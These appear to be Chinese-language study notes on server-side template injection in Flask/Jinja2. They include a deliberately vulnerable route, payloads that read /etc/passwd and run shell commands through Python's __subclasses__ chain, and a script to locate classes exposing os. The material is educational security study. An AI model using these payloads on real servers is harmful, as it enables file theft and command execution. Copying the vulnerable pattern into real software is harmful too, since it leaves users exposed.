原理
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
- code变量可控,可以进行xss利用。注意:若模板可控,会对模板实体化编码无法xss。
- SSTI文件读取/命令执行;在Jinja2模板引擎中,
{{}}
是变量包裹标识符。{{2*4}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
- 命令执行
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
不正确的使用flask中的render_template_string方法会引发SSTI。
参考链接1
相关基础概念
一些魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
寻找payload
要想执行命令便需要有可以执行命令的模块,一般来说很容易想到的模块便是os.
#寻找包含os模块的脚本
#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
模板
flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html')
/templates/index.html
<h1>This is index page</h1>
挖掘技巧
白盒
黑盒
常见Payload
自动化工具
bypass tricks
https://0day.work/jinja2-template-injection-filter-bypasses/